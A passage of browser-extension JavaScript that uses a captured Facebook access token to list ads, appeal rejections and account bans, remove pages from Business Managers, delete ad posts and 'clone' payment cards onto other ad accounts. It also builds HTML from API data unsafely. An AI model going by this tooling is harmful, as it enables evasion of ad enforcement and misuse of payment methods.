                                    	tmpadimages[AccAds.adimages.data[i].creatives[0]]=AccAds.adimages.data[i];
                                    }else{
                                    	console.log('Adimage not use');
                                    }*/

                                }
                            }
                        } catch (e) {
                            console.log("No adimages array");
                        }
                        try {
                            if (AccAds.adcreatives.data.length) {
                                for (i = 0; i < AccAds.adcreatives.data.length; i++) {
                                    //console.log(AccAds.adimages.data[i]);
                                    try {
                                        tmpadcreatives[AccAds.adcreatives.data[i].id] = AccAds.adcreatives.data[i];
                                    } catch (e) {
                                        console.log("Adcreatives not use");
                                    }
                                }
                            }
                        } catch (e) {
                            console.log("No adcreatives array");
                        }


                        //console.log(tmpadimages);	
                        //console.log(tmpadcreatives);	
                        var b = AccAds.ads;
                        todo = todo + '<table border="0.1"><tr style="font-size: 12px;text-decoration: none;color: #7FB5DA;"><th>#</th><th>Name</th><th>Status</th><th class="getAccAdsfullcl" style="display:none">Bot review</th><th class="getAccAdsfullcl" style="display:none">Human review</th><th class="getAccAdsfullcl" style="display:none">Preapproval</th><th class="getAccAdsfullcl" style="display:none">Review needed</th><th class="getAccAdsfullcl" style="display:none">Review Start TS</th><th class="getAccAdsfullcl" style="display:none">Review Update TS</th><th></th><th id="getAccAdsfull" class="getAccAdsfullcInactive"><a onclick="window.showMorePopupAccAdsFull()"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-toggle-off" viewBox="0 0 16 16"> <path d="M11 4a4 4 0 0 1 0 8H8a4.992 4.992 0 0 0 2-4 4.992 4.992 0 0 0-2-4h3zm-6 8a4 4 0 1 1 0-8 4 4 0 0 1 0 8zM0 8a5 5 0 0 0 5 5h6a5 5 0 0 0 0-10H5a5 5 0 0 0-5 5z" fill="#7FB5DA"/> </svg></a></th></tr>';
                        i = 0;
                        for (; i < b.data.length; i++) {
                            if (b.data[i].name) {
                                todo = todo + "<tr>";

                                if (b.data[i].delivery_status.status) {
                                    switch (b.data[i].delivery_status.status) {
                                        case "active":
                                            delivstatus = '<b>🟢</b>ACTIVE';
                                            break;
                                        case "inactive":
                                            delivstatus = '<b>⏸</b>';
                                            break;
                                        case "off":
                                            delivstatus = '<b>⏸</b>';
                                            break;
                                        case "error":
                                            delivstatus = '🟥Error';
                                            break;
                                        case "xz":
                                            delivstatus = "xz";
                                            break;

                                        default:
                                            delivstatus = " " + b.data[i].delivery_status.status;
                                            break;
                                    }
                                }

                                if (b.data[i].adcreatives.data[0].image_url) {
                                    tblcreo = '<img width=30 height=30 src="' + b.data[i].adcreatives.data[0].image_url + '" onclick="window.copytocb(`' + b.data[i].id + '`);"/>';
                                } else {

                                    try {
                                        if (tmpadcreatives[b.data[i].adcreatives.data[0].id].thumbnail_url)
                                            tblcreo = '<img width=30 height=30 src="' + tmpadcreatives[b.data[i].adcreatives.data[0].id].thumbnail_url + '"/>';
                                    } catch (e) {
                                        console.log("Video without adimage");
                                        tblcreo = "";
                                    }


                                }

                                /* console.log('CRID:'+b.data[i].adcreatives.data[0].id);
                                 console.log('tmpadcreatives:');
                                 console.log(tmpadcreatives[b.data[i].adcreatives.data[0].id]);
                                 console.log('tmpadimages:');
                                  console.log(tmpadimages[b.data[i].adcreatives.data[0].id]);
                                 */
                                let revstatus = '';
                                let hrevstatus = '';
                                let preapstatus = '';
                                let preapnd = '';
                                let revstartts = '';
                                let revupts = '';
                                try {
                                    switch (tmpadimages[b.data[i].adcreatives.data[0].id].ads_integrity_review_info.is_reviewed) {
                                        case true:
                                            revstatus = '<b style="color:green;">✓</b>';
                                            break;
                                        case false:
                                            revstatus = 'n/a';
                                            break;
                                        default:
                                            revstatus = " ";
                                            break;
                                    }
                                } catch (e) {
                                    console.log("revstatus error");
                                    revstatus = "";
                                }
                                try {
                                    switch (tmpadimages[b.data[i].adcreatives.data[0].id].ads_integrity_review_info.is_human_reviewed) {
                                        case true:
                                            hrevstatus = '<b style="color:green;">✓</b>';
                                            break;
                                        case false:
                                            hrevstatus = 'n/a';
                                            break;

                                        default:
                                            hrevstatus = " ";
                                            break;
                                    }
                                } catch (e) {
                                    console.log("hrevstatus error");
                                    hrevstatus = "";
                                }

                                try {

                                    if (tmpadimages[b.data[i].adcreatives.data[0].id].ads_integrity_review_info.component_review_status_info) {
                                        preapstatus = tmpadimages[b.data[i].adcreatives.data[0].id].ads_integrity_review_info.component_review_status_info.preapproval_review_status;
                                        preapnd = tmpadimages[b.data[i].adcreatives.data[0].id].ads_integrity_review_info.component_review_status_info.preapproval_human_review_needed;

                                        revstartts = tmpadimages[b.data[i].adcreatives.data[0].id].ads_integrity_review_info.component_review_status_info.preapproval_review_start_ts;
                                        revstartts = revstartts.replace('+0000', '');
                                        revstartts = revstartts.replace('T', '<br> ');
                                        revupts = tmpadimages[b.data[i].adcreatives.data[0].id].ads_integrity_review_info.component_review_status_info.preapproval_review_update_ts;
                                        revupts = revupts.replace('+0000', '');
                                        revupts = revupts.replace('T', '<br> ');


                                    }

                                } catch (e) {
                                    console.log("preap status error");
                                    preapstatus = "";
                                    preapnd = "";
                                    revupts = '';
                                    revstartts = '';
                                }




                                if (b.data[i].ad_review_feedback) {
                                    todo = todo + ("<td><b>" + tblcreo + "</b></td><td><b onclick='window.copytocb(`" + b.data[i].id + "`);'>" + b.data[i].name + "</b></td><td>[" + delivstatus + '] <!--[<a onclick="window.appealadcreo(`' + b.data[i].id + '`);" href="#">Appeal</a>]--><button style="background:#384959;color:white;" id="MainAppeal' + b.data[i].id + '" onclick="window.appealadcreo(`' + b.data[i].id + '`); return false;">Appeal</button>' + "</td>");
                                } else {
                                    todo = todo + ("<td><b>" + tblcreo + "</b></td><td><b onclick='window.copytocb(`" + b.data[i].id + "`);'>" + b.data[i].name + "</b></td> <td>[" + delivstatus + "] " + "</td>");
                                }

                                todo = todo + "<td class='getAccAdsfullcl' style='display:none'><center>" + revstatus + "</center></td><td class='getAccAdsfullcl' style='display:none'><center>" + hrevstatus + "</center></td><td class='getAccAdsfullcl' style='display:none'><center>" + preapstatus + "</center></td><td class='getAccAdsfullcl' style='display:none'><center>" + preapnd + "</center></td><td class='getAccAdsfullcl' style='display:none'><center>" + revstartts + "</center></td><td class='getAccAdsfullcl' style='display:none'><center>" + revupts + "</center></td>";

                                if (b.data[i].ad_review_feedback) {
                                    if (b.data[i].ad_review_feedback.global) {
                                        todo = todo + ("<td>");
                                        var rjkey;
                                        for (var k in b.data[i].ad_review_feedback.global) {
                                            rjkey = k + "[<a onclick='alert(\"" + b.data[i].ad_review_feedback.global[k] + "\");'> ? </a>]";
                                            todo = todo + (rjkey);
                                        }
                                        todo = todo + ("</td>");
                                    } else {
                                        todo = todo + "<td></td>";
                                    }
                                } else {
                                    todo = todo + "<td></td>";
                                }
                                todo = todo + "<td></td></tr>";
                            }
                        }
                        todo = todo + "</table>";
                    }
                    //window.showPluginPopup(event, todo,'Account Ads');
                }
                return todo;
            }


            window.showMorePopupFpOwnedBmRm = async function(bmid, fpid) {
                if (confirm('Are you sure you want to remove page ' + fpid + ' from BM ' + bmid + ' ?')) {
                    let apiUrl = "https://graph.facebook.com/v17.0/";
                    let params;
                    params = `${bmid}/pages?access_token=${window.privateToken}`;
                    var urlencoded = new URLSearchParams();
                    urlencoded.append("method", "delete");
                    urlencoded.append("page_id", fpid);
                    urlencoded.append("access_token", window.privateToken);

                    let logNode = document.getElementById('showMorePopupFpRoleslog');
                    let response = await fetch(apiUrl + params, {
                        mode: 'cors',
                        method: 'POST',
                        credentials: 'include',
                        redirect: "follow",
                        body: urlencoded
                    });
                    let json = await response.json();
                    if (json.error !== undefined) {
                        alert(json.error.message);
                        logNode.innerHTML += "\n<br>" + json.error.message
                        ///break;
                    } else {
                        logNode.innerHTML += "\n<br>Done!";
                    }
                    await sleep(2000);
                    window.showMorePopupFpRoles(fpid);
                    //}
                    function sleep(ms) {
                        return new Promise(resolve => setTimeout(resolve, ms));
                    }
                }
            }

            window.showMorePopupFpRoles = async function(fpid) {

                //var todo= await window.getAccAds(accid);		
                //window.showPluginPopup(event, todo,'Account Ads');
                tmpapiurl = 'https://graph.facebook.com/v17.0/' + fpid + '?fields=roles,business,agencies&limit=100&access_token=' + window.privateToken;
                var todoret = '';
                var BMUrole;
                window.getJSON(tmpapiurl, await
                    function(err, bminf) {
                        if (err !== null) {
                            alert("Something went wrong: " + err)
                        } else {
                            if (bminf.roles.data.length) {
                                // console.log(bminf);				  
                                todoret = todoret + '<table border="0.1"><tr style="font-size: 12px;text-decoration: none;color: #7FB5DA;"><th>Name</th><th>Role</th><th>#</th></tr>';
                                var i = 0;
                                for (; i < bminf.roles.data.length; i++) {
                                    try {
                                        if (bminf.roles.data[i].name) {
                                            ///BMUname=`<a href='https://fb.com/${bminf.data[i].id}' target="_blank">`+bminf.data[i].name+'</a>';
                                            BMUname = bminf.roles.data[i].name;
                                            BMUname += " <a href='https://www.facebook.com/" + bminf.roles.data[i].id + "' target='_blank'><svg width=\"10\" height=\"10\" xmlns=\"http://www.w3.org/2000/svg\" fill-rule=\"evenodd\" viewBox=\"0 0 24 24\" clip-rule=\"evenodd\"><path d=\"M14 4h-13v18h20v-11h1v12h-22v-20h14v1zm10 5h-1v-6.293l-11.646 11.647-.708-.708 11.647-11.646h-6.293v-1h8v8z\" fill=\"#79abd6\"/></svg></a>";

                                        }
                                    } catch (e) {
                                        BMUname = 'NA';
                                    }

                                    try {
                                        if (bminf.roles.data[i].tasks) {
                                            if (bminf.roles.data[i].tasks.indexOf("MANAGE") != -1) {
                                                BMUrole = 'MANAGE';
                                            } else if (bminf.roles.data[i].tasks.indexOf("ADVERTISE") != -1) {
                                                BMUrole = 'ADVERTISE';
                                            } else if (bminf.roles.data[i].tasks.indexOf("ANALYZE") != -1) {
                                                BMUrole = 'ANALYZE';
                                            }
                                        }
                                    } catch (e) {
                                        BMUrole = 'NA';
                                        console.log('NA FP Role');
                                    }

                                    todoret = todoret + ("<tr><td><b>" + BMUname + "</b></td> <td><center><b>" + BMUrole + "</b></center> " + "</td><td></td></tr>");
                                }

                                try {

                                    try {
                                        if (bminf.business.name) {
                                            BMUname = bminf.business.name;
                                        }
                                    } catch (e) {
                                        BMUname = 'NA';
                                    }

                                    todoret = todoret + ("<tr><td>" + '<svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24"><path d="M0 7v15h24v-15h-24zm22 13h-20v-6h6v-2h-6v-3h20v3h-6v2h6v6zm-13-15.5c0-.276.224-.5.5-.5h5c.276 0 .5.224.5.5v1.5h2v-2c0-1.104-.896-2-2-2h-6c-1.104 0-2 .896-2 2v2h2v-1.5zm5 6.5h-4v4h4v-4z" fill="#79abd6"/></svg> ' + "" + BMUname + "</td> <td><center><b>BM Owner</b></center> " + "</td><td><b><a onclick='window.showMorePopupFpOwnedBmRm(`" + bminf.business.id + "`,`" + fpid + "`);'>" + '<svg clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="m12.002 2.005c5.518 0 9.998 4.48 9.998 9.997 0 5.518-4.48 9.998-9.998 9.998-5.517 0-9.997-4.48-9.997-9.998 0-5.517 4.48-9.997 9.997-9.997zm0 1.5c-4.69 0-8.497 3.807-8.497 8.497s3.807 8.498 8.497 8.498 8.498-3.808 8.498-8.498-3.808-8.497-8.498-8.497zm0 7.425 2.717-2.718c.146-.146.339-.219.531-.219.404 0 .75.325.75.75 0 .193-.073.384-.219.531l-2.717 2.717 2.727 2.728c.147.147.22.339.22.531 0 .427-.349.75-.75.75-.192 0-.384-.073-.53-.219l-2.729-2.728-2.728 2.728c-.146.146-.338.219-.53.219-.401 0-.751-.323-.751-.75 0-.192.073-.384.22-.531l2.728-2.728-2.722-2.722c-.146-.147-.219-.338-.219-.531 0-.425.346-.749.75-.749.192 0 .385.073.531.219z" fill-rule="nonzero" fill="#79abd6"/></svg>' + "</a></b></td></tr>");
                                    // }
                                } catch (e) {
                                    console.log('FP not owned ..');
                                }

                                try {
                                    var i = 0;
                                    for (; i < bminf.agencies.data.length; i++) {
                                        try {
                                            if (bminf.agencies.data[i].name) {
                                                ///BMUname=`<a href='https://fb.com/${bminf.data[i].id}' target="_blank">`+bminf.data[i].name+'</a>';
                                                BMUname = bminf.agencies.data[i].name;
                                            }
                                        } catch (e) {
                                            BMUname = 'NA';
                                        }
                                        /* try { if (bminf.pending_users.data[i].role){
				  BMUrole=bminf.pending_users.data[i].role;
			  }
			  }catch (e) {BMUrole='NA';}*/
                                        todoret = todoret + ("<tr><td>" + '<svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24"><path d="M0 7v15h24v-15h-24zm22 13h-20v-6h6v-2h-6v-3h20v3h-6v2h6v6zm-13-15.5c0-.276.224-.5.5-.5h5c.276 0 .5.224.5.5v1.5h2v-2c0-1.104-.896-2-2-2h-6c-1.104 0-2 .896-2 2v2h2v-1.5zm5 6.5h-4v4h4v-4z" fill="#79abd6"/></svg> ' + "" + BMUname + "</td> <td><center><b>Shared BM</b></center> " + "</td><td><b><a onclick='window.showMorePopupFpOwnedBmRm(`" + bminf.agencies.data[i].id + "`,`" + fpid + "`);'>" + '<svg clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="m12.002 2.005c5.518 0 9.998 4.48 9.998 9.997 0 5.518-4.48 9.998-9.998 9.998-5.517 0-9.997-4.48-9.997-9.998 0-5.517 4.48-9.997 9.997-9.997zm0 1.5c-4.69 0-8.497 3.807-8.497 8.497s3.807 8.498 8.497 8.498 8.498-3.808 8.498-8.498-3.808-8.497-8.498-8.497zm0 7.425 2.717-2.718c.146-.146.339-.219.531-.219.404 0 .75.325.75.75 0 .193-.073.384-.219.531l-2.717 2.717 2.727 2.728c.147.147.22.339.22.531 0 .427-.349.75-.75.75-.192 0-.384-.073-.53-.219l-2.729-2.728-2.728 2.728c-.146.146-.338.219-.53.219-.401 0-.751-.323-.751-.75 0-.192.073-.384.22-.531l2.728-2.728-2.722-2.722c-.146-.147-.219-.338-.219-.531 0-.425.346-.749.75-.749.192 0 .385.073.531.219z" fill-rule="nonzero" fill="#79abd6"/></svg>' + "</a></b></td></tr>");
                                    }
                                } catch (e) {
                                    console.log('0 AG BM ..');
                                }




                                todoret = todoret + "</table>";
                            } else {
                                toret = 'Error';
                            }
                        }
                        todoret = todoret + "\n<hr width='90%'><!--<center><button id='showMorePopupBMUsersAddbtn' style='background:#384959;color:white;' onclick='window.showMorePopupBMUsersAdd(`" + fpid + "`); return true;'>Invite User</button></center><div id='showMorePopupBMUsersAddform'></div>--><div id='showMorePopupFpRoleslog'></div>";
                        window.showPluginPopup(event, todoret, 'Page Roles');

                    });




            }

            window.showMorePopupFpAdsRm = async function(fpid, adsid) {
                var currpageToken = await window.getPageToken(fpid);

                tmpapiurldel = 'https://graph.facebook.com/v17.0/' + adsid + '?access_token=' + currpageToken;
                dresponse = await fetch(tmpapiurldel, {
                    mode: 'cors',
                    method: 'DELETE',
                    credentials: 'include',
                    redirect: "follow"
                });
                dinf = await dresponse.json();
                if (dinf.success == true) {
                    document.getElementById("showMorePopupFpAdslog").innerHTML += 'Done!<br>';
                    window.showMorePopupFpAds(fpid);
                } else {
                    document.getElementById("showMorePopupFpAdslog").innerHTML += 'Error :(<br>';
                    window.showMorePopupFpAds(fpid);
                }

            }



            window.showMorePopupFpAds = async function(fpid) {

                tmpapiurl = 'https://graph.facebook.com/v17.0/' + fpid + '/ads_posts?fields=id,full_picture,promotion_status,promotable_id,status_type,permalink_url,picture,call_to_action&limit=500&access_token=' + window.privateToken;
                var todoret = '';
                window.getJSON(tmpapiurl, await
                    function(err, bminf) {
                        if (err !== null) {
                            alert("Something went wrong: " + err)
                        } else {
                            if (bminf.data.length) {
                                // console.log(bminf);				  
                                todoret = todoret + '<table border="0.1"><tr style="font-size: 12px;text-decoration: none;color: #7FB5DA;"><th>#</th><th>CTA</th><th>#</th></tr>';
                                var i = 0;
                                for (; i < bminf.data.length; i++) {


                                    try {
                                        if (bminf.data[i].picture) {
                                            tblcreo = '<img width=30 height=30 src="' + bminf.data[i].picture + '"/>';
                                        }

                                    } catch (e) {
                                        tblcreo = 'NA';
                                    }



                                    try {
                                        if (bminf.data[i].call_to_action.type) {
                                            fpcta = bminf.data[i].call_to_action.type;
                                        }
                                    } catch (e) {
                                        fpcta = 'NA';
                                    }

                                    try {
                                        if (bminf.data[i].permalink_url) {
                                            ///plink=bminf.data[i].permalink_url;
                                            plink = "<a href='" + bminf.data[i].permalink_url + "' target='_blank'><svg width=\"14\" height=\"14\" xmlns=\"http://www.w3.org/2000/svg\" fill-rule=\"evenodd\" viewBox=\"0 0 24 24\" clip-rule=\"evenodd\"><path d=\"M14 4h-13v18h20v-11h1v12h-22v-20h14v1zm10 5h-1v-6.293l-11.646 11.647-.708-.708 11.647-11.646h-6.293v-1h8v8z\" fill=\"#79abd6\"/></svg></a>";
                                        }
                                    } catch (e) {
                                        plink = 'NA';
                                    }




                                    todoret = todoret + ("<tr><td>" + tblcreo + "</td> <td><center><b>" + fpcta + "</b></center> " + "</td><td>" + plink + " <b><a onclick='window.showMorePopupFpAdsRm(`" + fpid + "`,`" + bminf.data[i].id + "`);'><svg width=\"14\" height=\"14\" clip-rule=\"evenodd\" fill-rule=\"evenodd\" stroke-linejoin=\"round\" stroke-miterlimit=\"2\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"m4.015 5.494h-.253c-.413 0-.747-.335-.747-.747s.334-.747.747-.747h5.253v-1c0-.535.474-1 1-1h4c.526 0 1 .465 1 1v1h5.254c.412 0 .746.335.746.747s-.334.747-.746.747h-.254v15.435c0 .591-.448 1.071-1 1.071-2.873 0-11.127 0-14 0-.552 0-1-.48-1-1.071zm14.5 0h-13v17.006h13zm-4.25 2.506c-.414 0-.75.336-.75.75v8.5c0 .414.336.75.75.75s.75-.336.75-.75v-8.5c0-.414-.336-.75-.75-.75zm-4.5 0c-.414 0-.75.336-.75.75v8.5c0 .414.336.75.75.75s.75-.336.75-.75v-8.5c0-.414-.336-.75-.75-.75zm3.75-4v-.5h-3v.5z\" fill=\"#79abd6\"/></svg></a></b></td></tr>");
                                }


                                todoret = todoret + "</table>";
                            } else {
                                toret = 'Error';
                            }
                        }
                        ///todoret=todoret+"\n<hr width='90%'><center><button id='showMorePopupBMUsersAddbtn' style='background:#384959;color:white;' onclick='window.showMorePopupBMUsersAdd(`"+bmid+"`); return true;'>Invite User</button></center><div id='showMorePopupBMUsersAddform'></div><div id='showMorePopupBMUsersAddlog'></div>";
                        todoret = todoret + "\n<hr width='90%'><div id='showMorePopupFpAdslog'></div>";
                        window.showPluginPopup(event, todoret, 'Page Ads Posts');

                    });




                ///window.showPluginPopup(event, todo,'Page Ads Posts');


            }

            window.showMorePopupAccAds = async function(accid) {

                var todo = await window.getAccAds(accid);
                window.showPluginPopup(event, todo, 'Account Ads');


            }


            window.showMorePopupAccCap = async function(accid) {

                tmpapiurl = 'https://graph.facebook.com/v17.0/act_' + accid + '?fields=capabilities&access_token=' + window.privateToken;
                var toret = '';
                i = 0;
                window.getJSON(tmpapiurl, await
                    function(err, bminf) {
                        if (err !== null) {
                            alert("Something went wrong: " + err)
                        } else {
                            if (bminf.capabilities.length) {
                                bminf.capabilities.sort();
                                // console.log(bminf);	
                                for (; i < bminf.capabilities.length; i++) {
                                    toret += bminf.capabilities[i] + "<br>";
                                }
                                console.log(bminf.capabilities);



                                /// todoret = todoret + "</table>";
                            } else {
                                toret = 'Error';
                            }
                        }
                        /// todoret=todoret+"\n<hr width='90%'><!--<center><button id='showMorePopupBMUsersAddbtn' style='background:#384959;color:white;' onclick='window.showMorePopupBMUsersAdd(`"+fpid+"`); return true;'>Invite User</button></center><div id='showMorePopupBMUsersAddform'></div>--><div id='showMorePopupFpRoleslog'></div>";

                        window.showPluginPopup(event, toret, 'Account Capabilities');
                    });




            }


            window.showMorePopupAccAdsFull = async function() {
                //alert('switch');
                let togleon = '<svg style="color: rgb(0, 249, 0);" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-toggle-on" viewBox="0 0 16 16"> <path d="M5 3a5 5 0 0 0 0 10h6a5 5 0 0 0 0-10H5zm6 9a4 4 0 1 1 0-8 4 4 0 0 1 0 8z" fill="#00f900"></path> </svg>';
                let togleoff = '<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-toggle-off" viewBox="0 0 16 16"> <path d="M11 4a4 4 0 0 1 0 8H8a4.992 4.992 0 0 0 2-4 4.992 4.992 0 0 0-2-4h3zm-6 8a4 4 0 1 1 0-8 4 4 0 0 1 0 8zM0 8a5 5 0 0 0 5 5h6a5 5 0 0 0 0-10H5a5 5 0 0 0-5 5z" fill="#7FB5DA"/> </svg>';
                let toglebtn;
                let displaymore;
                let accadsNode = document.getElementById('getAccAdsfull');
                if (accadsNode.className == 'getAccAdsfullcActive') {
                    toglebtn = togleoff;
                    accadsNode.className = 'getAccAdsfullcInactive';
                    displaymore = 'none';
                } else {
                    toglebtn = togleon;
                    accadsNode.className = 'getAccAdsfullcActive';
                    displaymore = 'table-cell';
                }

                accadsNode.innerHTML = '<a onclick="window.showMorePopupAccAdsFull()">' + toglebtn + '</a>';
                //accadsNode.className='getAccAdsfullcActive';
                // tb.getElementsByTagName("thead")[0].style.display = "none";
                var thNode = document.getElementsByClassName("getAccAdsfullcl");
                var i;
                for (i = 0; i < thNode.length; i++) {
                    thNode[i].style.display = displaymore;
                }
                //document.getElementById(col_name+"_head").style.display="table-cell";
            }


            window.showMorePopupAccFull = async function() {
                //alert('switch');
                let togleon = '<svg style="color: rgb(0, 249, 0);" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-toggle-on" viewBox="0 0 16 16"> <path d="M5 3a5 5 0 0 0 0 10h6a5 5 0 0 0 0-10H5zm6 9a4 4 0 1 1 0-8 4 4 0 0 1 0 8z" fill="#00f900"></path> </svg>';
                let togleoff = '<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-toggle-off" viewBox="0 0 16 16"> <path d="M11 4a4 4 0 0 1 0 8H8a4.992 4.992 0 0 0 2-4 4.992 4.992 0 0 0-2-4h3zm-6 8a4 4 0 1 1 0-8 4 4 0 0 1 0 8zM0 8a5 5 0 0 0 5 5h6a5 5 0 0 0 0-10H5a5 5 0 0 0-5 5z" fill="#7FB5DA"/> </svg>';
                let toglebtn;
                let displaymore;
                let accadsNode = document.getElementById('getAccfull');
                if (accadsNode.className == 'getAccfullcActive') {
                    toglebtn = togleoff;
                    accadsNode.className = 'getAccfullcInactive';
                    displaymore = 'none';
                } else {
                    toglebtn = togleon;
                    accadsNode.className = 'getAccfullcActive';
                    displaymore = 'table-cell';
                }

                accadsNode.innerHTML = '<a onclick="window.showMorePopupAccFull()">' + toglebtn + '</a>';
                //accadsNode.className='getAccAdsfullcActive';
                // tb.getElementsByTagName("thead")[0].style.display = "none";
                var thNode = document.getElementsByClassName("getAccfullcl");
                var i;
                for (i = 0; i < thNode.length; i++) {
                    thNode[i].style.display = displaymore;
                }
                //document.getElementById(col_name+"_head").style.display="table-cell";
            }

            window.showMorePriv = async function(div) {
                //alert('switch');
                let togleon = '<svg style="color: rgb(0, 249, 0);" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-toggle-on" viewBox="0 0 16 16"> <path d="M5 3a5 5 0 0 0 0 10h6a5 5 0 0 0 0-10H5zm6 9a4 4 0 1 1 0-8 4 4 0 0 1 0 8z" fill="#00f900"></path> </svg>';
                let togleoff = '<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-toggle-off" viewBox="0 0 16 16"> <path d="M11 4a4 4 0 0 1 0 8H8a4.992 4.992 0 0 0 2-4 4.992 4.992 0 0 0-2-4h3zm-6 8a4 4 0 1 1 0-8 4 4 0 0 1 0 8zM0 8a5 5 0 0 0 5 5h6a5 5 0 0 0 0-10H5a5 5 0 0 0-5 5z" fill="#7FB5DA"/> </svg>';
                let toglebtn;
                let displaymore;
                let divNode = document.getElementById(div);
                let togNode = document.getElementById(div + 'tog');
                if (divNode.style.display == 'block') {
                    toglebtn = togleoff;
                    divNode.style.display = 'none';
                    togNode.innerHTML = '<a id=\'' + div + 'tog\' class="bi-toggle-on" onclick="window.showMorePriv(' + div + ')">' + toglebtn + '</a>';
                } else {
                    toglebtn = togleon;
                    divNode.style.display = 'block';
                    togNode.innerHTML = '<a id=\'' + div + 'tog\' class="bi-toggle-on" onclick="window.showMorePriv(' + div + ')">' + toglebtn + '</a>';
                }

            }




            window.showMorePopupAddCC = async function(accid) {

                var credcc = await window.getcc();

                try {

                    var icc = 0;
                    var todosacc_cc = '';
                    todosacc_ccgeo = '';
                    for (; icc < credcc.length; icc++) {
                        // console.log(credcc[icc]);
                        if (credcc[icc].cctype == 'bmcc') {
                            todosacc_cc = todosacc_cc + ("<option value='" + credcc[icc].credential_id + "'>[BM " + credcc[icc].ccinf + "]" + credcc[icc].readable_card_type + " *" + credcc[icc].last4 + " [" + credcc[icc].billing_address.country_code + "]</option>'");
                            todosacc_ccgeo = todosacc_ccgeo + ("<option value='" + credcc[icc].billing_address.country_code + "'>" + credcc[icc].billing_address.country_code + "</option>'");
                        }
                        if (credcc[icc].cctype == 'usercc') {
                            todosacc_cc = todosacc_cc + ("<option value='" + credcc[icc].credential_id + "'>[Acc " + credcc[icc].ccinf + "]" + credcc[icc].display_string + "</option>'");
                        }
                    }
                } catch (e) {
                    console.log("No cred cc");
                    alert('You dont have any cards to clone. Add the card to any account or BM first');
                }


                retrn = `<hr width='90%'><center>Add Cards<br/></center>
					 <input type="hidden" id="BMCCAId" name="BMCCAId" value="${accid}" />
					 <select style="background: #384959;color:white;" id="BMCCId">${todosacc_cc}</select>
					 <select style="background: #384959;color:white;" id="BMCCGeo">${todosacc_ccgeo}
					 <option value="">--</option>
					 <option value="GB">GB</option>
					 </select>
					 <button style="background:#384959;color:white;" id="BMCCrocessForm" onclick="window.BMCCProcessForm(); return false;">Go</button>
					 
					 <div id='tab6logcc'></div>`;
                //  console.log(retrn);
                window.showPluginPopup(event, retrn, 'Clone CC');

            }


            window.showMorePopupBMAccs = async function(bmid) {

                tmpapiurl = 'https://graph.facebook.com/v17.0/' + bmid + '?fields=owned_ad_accounts.limit(100).sort(name_ascending){id,account_id,name,account_status},client_ad_accounts.limit(500).sort(name_ascending){id,account_id,name,account_status,owner_business,owner{id,name}}&sort=name_ascending&limit=500&access_token=' + window.privateToken;
                var todoret = '';
                var allcopy = '';
                window.getJSON(tmpapiurl, await
                    function(err, bminf) {
                        if (err !== null) {
                            alert("Something went wrong: " + err)
                        } else {
                            todoret = todoret + '<table border="0.1"><tr style="font-size: 12px;text-decoration: none;color: #7FB5DA;"><th>Name</th><th>Status</th><th>Owner</th><th>#</th><th></th></tr>';

                            try {
                                if (bminf.owned_ad_accounts.data.length) {


                                    var i = 0;
                                    for (; i < bminf.owned_ad_accounts.data.length; i++) {

                                        allcopy += bminf.owned_ad_accounts.data[i].account_id + ',';
                                        try {
                                            if (bminf.owned_ad_accounts.data[i].name) {
                                                ///BMUname=`<a href='https://fb.com/${bminf.data[i].id}' target="_blank">`+bminf.data[i].name+'</a>';
                                                BMUname = bminf.owned_ad_accounts.data[i].name;
                                            }
                                        } catch (e) {
                                            BMUname = 'NA';
                                        }

                                        if (bminf.owned_ad_accounts.data[i].account_status) {
                                            switch (bminf.owned_ad_accounts.data[i].account_status) {
                                                case 1:
                                                    astatus = '<b>🟢</b>';
                                                    break; ///active
                                                case 2:
                                                    astatus = '<b>🔴</b> <button style="background:#384959;color:white;" id="AdsAccAppeal' + bminf.owned_ad_accounts.data[i].account_id + '" onclick="window.appealadsacc(`' + bminf.owned_ad_accounts.data[i].account_id + '`); return false;">Appeal</button>';
                                                    break; //disabled
                                                case 3:
                                                    astatus = '<b>🟠</b>UNSETTLED';
                                                    break;
                                                case 7:
                                                    astatus = "PENDING_RISK_REVIEW";
                                                    break;
                                                case 8:
                                                    astatus = "PENDING_SETTLEMENT";
                                                    break;
                                                case 9:
                                                    astatus = "IN_GRACE_PERIOD";
                                                    break;
                                                case 100:
                                                    astatus = '<b>🚫</b><small>PENDING_CLOSE</small>';
                                                    break;
                                                case 101:
                                                    astatus = '<b>🚫</b>CLOSED';
                                                    break;
                                                case 201:
                                                    astatus = "ANY_ACTIVE";
                                                    break;
                                                case 202:
                                                    astatus = "ANY_CLOSED";
                                                    break;
                                                default:
                                                    astatus = "UNKNOWN " + bminf.owned_ad_accounts.data[i].account_status;
                                                    break;
                                            }
                                            //todo = todo + ("Account status: " + astatus + "\n<br>");
                                            bmdisstatus = astatus;
                                        }

                                        goacc = 'https://business.facebook.com/adsmanager/manage/campaigns?act=' + bminf.owned_ad_accounts.data[i].account_id + '&business_id=' + bmid;

                                        todoret = todoret + ("<tr><td><b>" + BMUname + "</b></td> <td><center><b>" + bmdisstatus + "</b></center> " + "</td><td><b></b></td><td><b><a href='" + goacc + "' target='_blank'><svg width=\"14\" height=\"14\" xmlns=\"http://www.w3.org/2000/svg\" fill-rule=\"evenodd\" viewBox=\"0 0 24 24\" clip-rule=\"evenodd\"><path d=\"M14 4h-13v18h20v-11h1v12h-22v-20h14v1zm10 5h-1v-6.293l-11.646 11.647-.708-.708 11.647-11.646h-6.293v-1h8v8z\" fill=\"#79abd6\"/></svg></a></a></b></td></tr>");
                                        // console.log(bminf.owned_ad_accounts.data[i].account_id);	
                                    }
                                }
